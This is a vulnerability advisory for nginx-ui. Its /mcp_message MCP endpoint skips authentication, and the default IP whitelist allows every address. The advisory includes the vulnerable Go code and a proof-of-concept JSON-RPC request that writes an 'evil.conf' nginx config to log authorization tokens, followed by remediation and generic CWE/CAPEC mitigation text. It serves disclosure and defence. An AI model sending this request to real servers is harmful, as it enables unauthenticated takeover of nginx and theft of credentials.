Summary
nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover
Details

Summary

The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details

Vulnerable Code

mcp/router.go:9-17 - Auth asymmetry between endpoints

func InitRouter(r *gin.Engine) {
    r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
    r.Any("/mcp_message", middleware.IPWhiteList(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
}

The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.

internal/middleware/ip_whitelist.go:11-26 - Empty whitelist allows all

func IPWhiteList() gin.HandlerFunc {
    return func(c *gin.Context) {
        clientIP := c.ClientIP()
        if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
            c.Next()
            return
        }
        // ...
    }
}

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.

Available MCP Tools (all invocable without auth)

From mcp/nginx/: - restart_nginx - restart the nginx process - reload_nginx - reload nginx configuration - nginx_status - read nginx status

From mcp/config/: - nginx_config_add - create new nginx config files - nginx_config_modify - modify existing config files - nginx_config_list - list all configurations - nginx_config_get - read config file contents - nginx_config_enable - enable/disable sites - nginx_config_rename - rename config files - nginx_config_mkdir - create directories - nginx_config_history - view config history - nginx_config_base_path - get nginx config directory path

Attack Scenario

  1. Attacker sends HTTP requests to http://target:9000/mcp_message (default port)
  2. No authentication is required - IP whitelist is empty by default
  3. Attacker invokes nginx_config_modify with relative_path="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers)
  4. nginx_config_add auto-reloads nginx (config_add.go:74), or attacker calls reload_nginx directly
  5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC

1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:

// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

var AuthSettings = &Auth{
    BanThresholdMinutes: 10,
    MaxAttempts:         10,
    // IPWhiteList is not initialized - defaults to nil/empty slice
}

And the middleware at internal/middleware/ip_whitelist.go:14 passes all requests when the list is empty:

if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
    c.Next()
    return
}

3. Config writes auto-reload nginx. From mcp/config/config_add.go:

err := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload)                 // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
      "base_dir": "conf.d",
      "overwrite": true,
      "sync_node_ids": []
    }
  },
  "id": 1
}

No Authorization header is needed. The config is written and nginx reloads immediately.

Impact

  • Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart
  • Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit
  • Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services
  • Configuration exfiltration: All existing nginx configs are readable via nginx_config_get, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers
  • Credential harvesting: By injecting access_log directives with custom log_format patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API

Remediation

Add middleware.AuthRequired() to the /mcp_message route:

r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
    func(c *gin.Context) {
        mcp.ServeHTTP(c)
    })

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
